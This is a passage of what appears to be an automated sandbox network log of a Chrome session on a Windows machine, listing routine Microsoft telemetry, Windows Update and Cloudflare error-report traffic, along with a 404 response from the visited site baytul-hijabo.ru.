2024-10-30 15:25:59 UTC	723	IN	Data Raw: 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 Data Ascii: p: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><di
2024-10-30 15:25:59 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-10-30 15:25:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.16	49772	204.79.197.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:08 UTC	2229	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1707317755 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 60 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124117A5,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:12CDE644,FX:12D1574C,FX:12D281C4,FX:12E8312D,FX:12E85C75 X-Device-ClientSession: B2DC660161784379B3117A8C8CEC12A1 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: d-thshld42,dsbdailyset_c,expmegaclick_cf,hashexpt3,iffsqloptwin10c,msbdsbedu9cf,wsbqfnewsynonym,wsbref-t,wsbswgc-t2 X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; StandardBias=0; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 765 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=117ACB7E7D246FD81513DF607C366EB7&CPID=1707317782133&AC=1&CPH=c645c844; _EDGE_S=SID=117ACB7E7D246FD81513DF607C366EB7&mkt=de-ch; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=E0DD87A720F84B6F91D233EB006F66A1&dmnchg=1; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=de&HV=1707317784&IPMH=3a628620&IPMID=1707317755885; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-10-30 15:26:08 UTC	765	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 6c 69 65 6e 74 49 6e 73 74 3c 2f 54 3e 3c 49 47 3e 35 35 66 30 38 33 62 65 65 36 39 65 34 31 39 39 38 34 37 66 33 34 64 30 37 38 38 35 62 32 61 39 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 74 6f 74 61 6c 6e 75 6d 62 65 72 4f 66 45 6e 74 72 69 65 73 22 3a 22 30 22 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.ClientInst</T><IG>55f083bee69e4199847f34d07885b2a9</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","totalnumberOfEntries":"0"
2024-10-30 15:26:08 UTC	428	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 82957CA3D1A04BBD9730D16AB6704368 Ref B: DFW311000107017 Ref C: 2024-10-30T15:26:08Z Date: Wed, 30 Oct 2024 15:26:07 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.16	49773	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:15 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=heCOdcd6DBu6vCN&MD=Hph1+bw2 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 15:26:16 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7eb2512a-8498-4cf1-8db6-16c774679c15 MS-RequestId: 6b58f5a9-70b1-42ba-bd62-ad5be11e18fa MS-CV: xSl5eheoT06oFewD.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 15:26:15 GMT Connection: close Content-Length: 30005
2024-10-30 15:26:16 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-30 15:26:16 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.16	49775	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:19 UTC	462	OUT	GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-10-30 15:26:19 UTC	431	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=900 Content-Length: 20076 Content-Type: application/json; charset=utf-8 ETag: "1511532700" Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:b183296d-485b-49fc-81c7-a511e61d1309 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 745E8E19FD8C42D19468DB2415FE4E75 Ref B: DFW311000108039 Ref C: 2024-10-30T15:26:19Z Date: Wed, 30 Oct 2024 15:26:19 GMT Connection: close
2024-10-30 15:26:19 UTC	382	IN	Data Raw: 7b 22 73 22 3a 35 30 30 30 2c 22 6e 22 3a 33 2c 22 65 22 3a 5b 7b 22 65 22 3a 22 2a 2e 61 7a 72 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 35 30 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 32 30 30 30 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 31 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 6e 72 62 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 34 32 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 61 66 64 78 74 65 73 74 2e 7a 30 31 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c 22 77 22 3a 35 30 30 2c 22 6d 22 3a 31 7d 2c 7b Data Ascii: {"s":5000,"n":3,"e":[{"e":".azr.footprintdns.com","w":5000,"m":128},{"e":".clo.footprintdns.com","w":2000,"m":1},{"e":".clo.footprintdns.com","w":100,"m":128},{"e":".nrb.footprintdns.com","w":420,"m":3},{"e":"afdxtest.z01.azurefd.net","w":500,"m":1},{
2024-10-30 15:26:19 UTC	3416	IN	Data Raw: 73 30 37 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 61 6d 73 32 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 61 6d 73 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 61 6d 7a 30 37 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 61 72 63 2d 72 69 6e 67 2e 6d 73 Data Ascii: s07prdapp02-canary.netmon.azure.com","w":3,"m":128},{"e":"ams20prdapp02-canary.netmon.azure.com","w":3,"m":128},{"e":"ams22prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"amz07prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"arc-ring.ms
2024-10-30 15:26:19 UTC	4096	IN	Data Raw: 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 71 31 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 63 2d 72 69 6e 67 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 32 30 30 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 63 2d 72 69 6e 67 2d 66 61 6c 6c 62 61 63 6b 2e 6d 73 65 64 67 65 2e 6e 65 74 22 2c 22 77 22 3a 35 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 63 76 6c 30 32 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 Data Ascii: y-opaph.netmon.azure.com","w":3,"m":128},{"e":"cq1prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"c-ring.msedge.net","w":2000,"m":3},{"e":"c-ring-fallback.msedge.net","w":50,"m":3},{"e":"cvl02prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e
2024-10-30 15:26:19 UTC	4096	IN	Data Raw: 3a 22 66 72 61 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 66 72 61 32 33 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 66 72 61 32 33 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 67 72 61 70 68 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c 22 77 22 3a 31 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 67 72 61 70 68 2e 61 7a 75 72 65 66 64 2e 6e 65 74 Data Ascii: :"fra22prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"fra23prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"fra23prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"graph.azurefd.net","w":1,"m":1},{"e":"graph.azurefd.net
2024-10-30 15:26:19 UTC	4096	IN	Data Raw: 7a 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 6e 61 67 32 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 Data Ascii: z20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":"nag20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":1},{"e":"nag20prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"nag20prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e
2024-10-30 15:26:19 UTC	3990	IN	Data Raw: 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6a 63 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 34 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 35 61 7a 66 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 75 73 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 73 6e 35 61 7a 66 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 75 73 22 2c 22 77 22 3a Data Ascii: .netmon.azure.com","w":3,"m":128},{"e":"sjc22prdapp02-canary.netmon.azure.com","w":3,"m":128},{"e":"sn4prdapp01-canary.netmon.azure.com","w":3,"m":128},{"e":"sn5azfapp01-canary.netmon.azure.us","w":3,"m":128},{"e":"sn5azfapp02-canary.netmon.azure.us","w":

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.16	49777	13.107.4.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:22 UTC	481	OUT	GET /apc/trans.gif?a75363d0418258491551ead6717ca895 HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: c-ring.msedge.net Connection: Keep-Alive
2024-10-30 15:26:22 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: DFW30r4b X-Frontend: AFD X-Machinename: DFW30EDGE0312 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 87FBBBBE796F4897ACAC29F45FAD4C99 Ref B: DFW30EDGE0312 Ref C: 2024-10-30T15:26:22Z Date: Wed, 30 Oct 2024 15:26:21 GMT Connection: close
2024-10-30 15:26:22 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.16	49778	13.107.4.254	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:23 UTC	481	OUT	GET /apc/trans.gif?3d4619f8959a0bb944ce9eb8ccf482ff HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: c-ring.msedge.net Connection: Keep-Alive
2024-10-30 15:26:23 UTC	706	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Content-Length: 43 Content-Type: image/gif Last-Modified: Mon, 07 Oct 2024 03:46:52 GMT Accept-Ranges: bytes ETag: 0x0DA2C2C0C44B11E89E6C66FF4F731D7D Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-EndPoint, X-FrontEnd, X-UserHostAddress, X-MSEdge-Ref, X-MachineName Timing-Allow-Origin: * X-Content-Type-Options: nosniff X-Endpoint: DFW30r4b X-Frontend: AFD X-Machinename: DFW30EDGE0419 X-Userhostaddress: 173.254.250.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: FF1B78999ECA4B38A419C83D90B1CFAA Ref B: DFW30EDGE0419 Ref C: 2024-10-30T15:26:23Z Date: Wed, 30 Oct 2024 15:26:23 GMT Connection: close
2024-10-30 15:26:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.16	49782	35.190.80.1	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:24 UTC	535	OUT	OPTIONS /report/v4?s=ZKlDjR7eYb5YbCTRe%2FBwGO%2BawAzhOCUCnHLSRE5AjQ3BjOvcY3dWxYNaxD9B9M4G1r1j5wMCiahEf%2FjDwu6H0BtyKRn8EiYRLieUeQZYnv3W49s0eiGB2r6Mnm8gAz9c3Jo9 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://baytul-hijabo.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:26:25 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 30 Oct 2024 15:26:24 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.16	49784	35.190.80.1	443	6816	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 15:26:25 UTC	476	OUT	POST /report/v4?s=ZKlDjR7eYb5YbCTRe%2FBwGO%2BawAzhOCUCnHLSRE5AjQ3BjOvcY3dWxYNaxD9B9M4G1r1j5wMCiahEf%2FjDwu6H0BtyKRn8EiYRLieUeQZYnv3W49s0eiGB2r6Mnm8gAz9c3Jo9 HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 428 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 15:26:25 UTC	428	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 32 34 34 32 35 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 31 31 35 36 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 62 61 79 74 75 6c 2d 68 69 6a 61 62 6f 2e 72 75 2f 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 31 31 2e 31 30 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c Data Ascii: [{"age":24425,"body":{"elapsed_time":1156,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://baytul-hijabo.ru//","sampling_fraction":1.0,"server_ip":"104.21.11.102","status_code":404,"type":"http.error"},"type":"network-error",
2024-10-30 15:26:25 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 30 Oct 2024 15:26:25 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	0
Start time:	11:25:16
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff7f9810000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
